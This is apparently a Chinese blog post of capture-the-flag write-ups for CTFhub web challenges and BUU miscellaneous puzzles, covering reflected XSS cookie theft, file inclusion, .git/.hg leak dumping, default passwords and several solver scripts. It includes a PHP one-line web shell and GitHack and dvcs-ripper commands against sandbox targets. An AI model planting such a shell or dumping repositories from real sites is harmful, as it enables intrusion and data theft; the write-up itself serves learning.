CTFhub技能树web & BUU杂项等

xss反射型

xss先查看源码。找一下插入点
m0re
那随便插一个xss,其实没有过滤,直接弹窗了。
m0re
但是没有得到flag,然后看了大佬wp,才知道是要打出来cookie,注册一个xss平台,创建一个项目
m0re
然后复制一下环境的URL,在name后面加上payload
m0re
然后send,返回结果成功,回到xss平台查看项目
m0re

文件包含

m0re
shell.txt里面是

<?php eval($_REQUEST['ctfhub']);?>

request默认包含get和post方式,原本不知道,看了大佬的wp才学习到一个新姿势
使用file包含shell.txt然后结合利用命令执行
m0re
然后查看根目录
m0re
发现flag然后就是查看flag,用cat就可以。

git泄露——log

需要用到工具Githack这个工具——🔑https://github.com/BugScanTeam/GitHack
目前只支持python2,还有就是,使用这个工具需要安装git
先用工具处理一下

python GitHack.py http://challenge-ade6802494a678e6.sandbox.ctfhub.com:10080//.git/

m0re
然后切换至dist中的目录,使用命令git log查看历史记录

git log

m0re
然后diff一下remove的时候的提交记录。
m0re
第二种方法
使用命令git reset切换到add flag时的版本,就可以看到目录下生成了几个文件,点开txt文件就可以看到flag了。

git reset --hard 9606461bae67fe7941a3b4049d89be560a6e9386

m0re

git泄露——Stash

仍然使用Githack进行处理
接下来使用git stash list查看
m0re
再使用命令git stash pop从 git 栈中弹出来一个文件,文件内有flag
m0re

git泄露——Index

步骤跟log一模一样就可以,详细的不写了,直接贴个图叭。
m0re

HG泄露

使用工具——🔑https://github.com/kost/dvcs-ripper
这个工具也可解决svn泄露的题,但是我没有找到flag,找了wp,复现没成功。然后就放弃了。不过hg泄露也是没成功。懒得总结了,就直接写新知识。
命令就这个,其他全靠找。

./rip-hg.pl -v -u http://challenge-96fb44c6e263bd06.sandbox.ctfhub.com:10080/.hg/

m0re
情况呢,就是这么个情况,了解了这个知识就可以了,最起码操作是会了,找不到flag这个问题,不纠结了。
m0re

弱口令

都不用爆破的,都是admin

默认口令

用户名:eyougw
密码:admin@(eyou)
看大佬的wp是这样的。害,还是太年轻。

迟来的签到题

这个题,试了几种常见的密码,没有效果啊。有点头大,莫得思路。找了wp看的。发现这个题是有个提示的,但是CTFhub里没写。
提示:easy xor???
使用python2编写的脚本,这个是在网上找的。
https://blog.csdn.net/xiangshangbashaonian/article/details/83041029

from base64 import *
 
b=b64decode("AAoHAR1WX1VQVlNVU1VRUl5XXyMjI1FWJ1IjUCQnXlZWXyckXhs=")
 
data=list(b)#转成列表
 
 
for k in range(200):
    
    flag=""
 
    for i in range(len(data)):
 
        flag+=chr(ord(data[i])^k)
 
    print flag+"\n"

尝试编写python3的,但是失败了。在评论区看到一个大佬写的python3的,但是在这道题中用不了。我的是python3.7运行失败。
不过这个博主好像是我们学校的大佬。😁应该早就毕业了。不认识!

还原大师

m0re
脚本如下:

#-*- coding: utf-8 -*-
#!/usr/bin/env/python
import hashlib

m = 'TASC?O3RJMV?WDJKX?ZM'
for i in range(26):
    temp1 = m.replace('?',str(chr(65+i)),1)
    for j in range(26):
        temp2 = temp1.replace('?',chr(65+j),1)
        for k in range(26):
            temp3 = temp2.replace('?',chr(65+k),1)
            s = hashlib.md5(temp3.encode('utf-8')).hexdigest().upper()
            if s[:4] == 'E903':
                print(s)

原字符串有三个位置是不知道的,所以需要三个循环语句对这三个位置进行暴力猜解,最后使用切片判断字符串的大写MD5前四位是不是匹配E903,如果匹配就是flag

[GUET-CTF2019]虚假的压缩包

两个压缩包,一个虚假的压缩包,一个真实的压缩包。拖进010editor查看,虚假的压缩包是伪加密,破解得到一个文件

数学题
n = 33
e = 3
解26

-------------------------
答案是

一个简单的rsa,应该都用不到gmpy2这个模块

n=33
e=3
m=0
while m<100:
    c=(m**e)%n
    if (c==26):
        print("c=",c)
        print("m=",m)
    m+=1

简单的爆破,
m0re
尝试密码,5是对的。所以真实的压缩包密码是答案是5
得到一张图片和一个文件
查看图片,看到图片宽高不一致,于是就改的长一点
m0re
看到了隐藏信息
m0re
^5异或5,呃呃呃,异或应该是脚本(默默去百度了大佬的wp)
python2的

f1 = open('./cxk','r')
xor_data = f1.read()
f1.close()
dec_data = ""
for i in xor_data:
    tmp = int(i,16) ^ 5
    dec_data += hex(tmp)[2:]
f2 = open('./cxkdemimi.doc','wb')
f2.write(dec_data.decode('hex'))
f2.close()

m0re
这里隐藏了一段,复制出来粘贴到记事本中就行了。

[SWPU2019]Network

m0re
看到这些比较晕,原本移位要画图描点什么的,network也不懂,就是看wp看大佬的思路。
先将这四位数字转换成8位二进制的数字,

63		00111111
255		11111111
127		01111111
191		10111111

每个数的前两位提取出来,然后就是提取后的一串数字,四位一组,转换成ascii码,
再将ascii码转换成16进制数,可以发现504B,是zip的文件头。

#-*- coding: utf-8 -*-
#!/usr/bin/env/python
fp = open('C:\\Users\\**********\\Desktop\\t.txt','r')
a = fp.readlines()
p = []
for i in a:
    p.append(int(i))
s = ''
for i in p:
    if i == 63:
        a = '00'
    elif i == 127:
        a = '01'
    elif i == 191:
        a = '10'
    elif i == 255:
        a = '11'
    s += a

import binascii
flag = ''
for i in range(0,len(s),8):
    flag += chr(int(s[i:i+8],2))
flag = binascii.unhexlify(flag)
wp = open('C:\\Users\\*******\\Desktop\\ans.zip','wb')
wp.write(flag)
wp.close()

压缩包伪加密,好几处伪加密了,所以可以直接使用ZipCenOp直接解。
然后base64吧,手都酸了,
m0re
脑洞太小啊。

posted @ 2020-08-08 18:25  m0re  阅读(207)  评论(0编辑  收藏  举报